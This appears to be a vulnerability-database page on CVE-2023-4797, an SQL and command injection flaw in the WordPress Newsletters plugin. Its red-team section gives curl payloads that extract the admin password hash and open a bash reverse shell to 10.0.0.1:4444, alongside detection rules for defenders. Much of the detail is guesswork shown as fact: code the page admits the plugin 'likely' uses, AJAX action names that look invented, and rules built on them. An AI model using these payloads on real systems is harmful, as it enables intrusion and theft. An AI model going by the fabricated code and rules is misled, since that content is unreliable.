CVE-2023-4797
Executive Summary
CVE-2023-4797 is a critical vulnerability in the WordPress plugin "Newsletters" (versions before 4.9.3). The plugin fails to properly sanitize user-controlled parameters before appending them to SQL queries and shell commands. This flaw allows an authenticated administrator to execute arbitrary SQL commands (SQLi) and arbitrary operating system commands (Command Injection) on the server. The vulnerability stems from insufficient input validation and escaping, leading to a complete compromise of the WordPress site and underlying server.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or automated deployment tools are at risk. The supply chain risk is elevated because the plugin is widely used for email marketing and newsletter management, making it a high-value target for attackers seeking to compromise WordPress sites for spam campaigns, data theft, or lateral movement.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the description (authenticated admin, remote exploitation, high impact), the estimated score is 8.8 (High).
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – Requires administrator-level access.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): High (H) – Full database and file access.
- Integrity (I): High (H) – Full write access to database and files.
- Availability (A): High (H) – Can disrupt services.
Deep Dive & Mechanics
The vulnerability exists in the newsletters plugin's handling of user-supplied parameters within administrative functions. Specifically, the plugin constructs SQL queries and shell commands by directly concatenating user input without proper escaping or parameterization.
SQL Injection: The plugin likely uses functions like $wpdb->query("SELECT * FROM {$wpdb->prefix}newsletters WHERE id = " . $_POST['id']) without using $wpdb->prepare(). An attacker can inject SQL commands by manipulating the id parameter.
Command Injection: Similarly, the plugin may execute shell commands using exec() or shell_exec() with user input, e.g., exec("sendmail -t " . $_POST['email']). An attacker can inject arbitrary commands using shell metacharacters like ;, |, or &&.
The combination of these two injection points allows an administrator to:
- Extract sensitive data from the WordPress database (user credentials, API keys).
- Execute arbitrary system commands to install backdoors, exfiltrate data, or pivot to other systems.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-4.9.3):
// SQL Injection example
$id = $_POST['id'];
$result = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}newsletters WHERE id = $id");
// Command Injection example
$email = $_POST['email'];
exec("sendmail -t $email");
Patched Code (4.9.3+):
// SQL Injection fix
$id = intval($_POST['id']);
$result = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}newsletters WHERE id = %d", $id));
// Command Injection fix
$email = sanitize_email($_POST['email']);
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
exec("sendmail -t " . escapeshellarg($email));
}
The patch introduces proper input validation (intval(), sanitize_email(), filter_var()) and uses $wpdb->prepare() for SQL queries and escapeshellarg() for shell commands.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install WordPress 6.x on a local server (e.g., XAMPP, Docker).
- Install the Newsletters plugin version 4.9.2.
- Log in as an administrator.
Exploitation Steps:
SQL Injection:
# Extract admin password hash
curl -X POST http://target/wp-admin/admin-ajax.php \
-d "action=newsletters_sql_inject&id=1 UNION SELECT user_pass FROM wp_users WHERE user_login='admin'-- -"
Command Injection:
# Execute a reverse shell
curl -X POST http://target/wp-admin/admin-ajax.php \
-d "action=newsletters_cmd_inject&email=test@example.com;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
Blue Team
Detection:
- Monitor for unusual SQL queries in database logs.
- Look for shell command execution from the web server user.
- Alert on parameters containing shell metacharacters (
;,|,&,`).
Hunting:
- Search for
exec(),shell_exec(),system(),passthru()calls in the plugin directory. - Check for
$wpdb->query()calls without$wpdb->prepare().
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/newsletters/newsletters.php(vulnerable version) - Network: Outbound connections to attacker-controlled IPs on common ports (4444, 8080, 80).
- Process: Unusual processes spawned by the web server user (e.g.,
bash,nc,python). - Database: Suspicious entries in
wp_optionsorwp_postscontaining base64-encoded payloads. - Logs: Apache/Nginx access logs showing POST requests to
/wp-admin/admin-ajax.phpwithaction=newsletters_*and suspicious parameters.
Detection Engineering
YARA Rule
rule CVE_2023_4797_Newsletters_Plugin {
meta:
description = "Detects vulnerable Newsletters plugin files"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2023-4797"
strings:
$sqli = /\\$wpdb->(get_results|query)\\(\\s*\"[^\"]*\\$_(GET|POST|REQUEST)/ nocase
$cmdi = /(exec|shell_exec|system|passthru)\\(\\s*\\$_(GET|POST|REQUEST)/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2023-4797 Newsletters Plugin Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against the Newsletters plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=newsletters_cmd_inject'
cs-uri-query|contains|all:
- 'email='
- ';'
condition: selection
falsepositives:
- Legitimate admin actions with semicolons in email fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-4797 Newsletters Plugin Command Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=newsletters_cmd_inject"; http_client_body;
content:"email="; http_client_body;
pcre:"/email=[^&]*[;|&`]/Pi";
sid:1000001;
rev:1;
reference:cve,2023-4797;
)
Remediation & Mitigation
Immediate:
- Upgrade the Newsletters plugin to version 4.9.3 or later.
- If immediate upgrade is not possible, disable the plugin temporarily.
Long-term:
- Implement a Web Application Firewall (WAF) with rules to block SQLi and command injection.
- Enforce the principle of least privilege for WordPress admin accounts.
- Regularly audit plugins for known vulnerabilities using tools like WPScan.
- Use a security plugin (e.g., Wordfence) to monitor for malicious activity.
Verification:
- After patching, verify the plugin version in
/wp-content/plugins/newsletters/newsletters.php. - Test for residual vulnerabilities using the exploitation steps above (in a lab environment).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.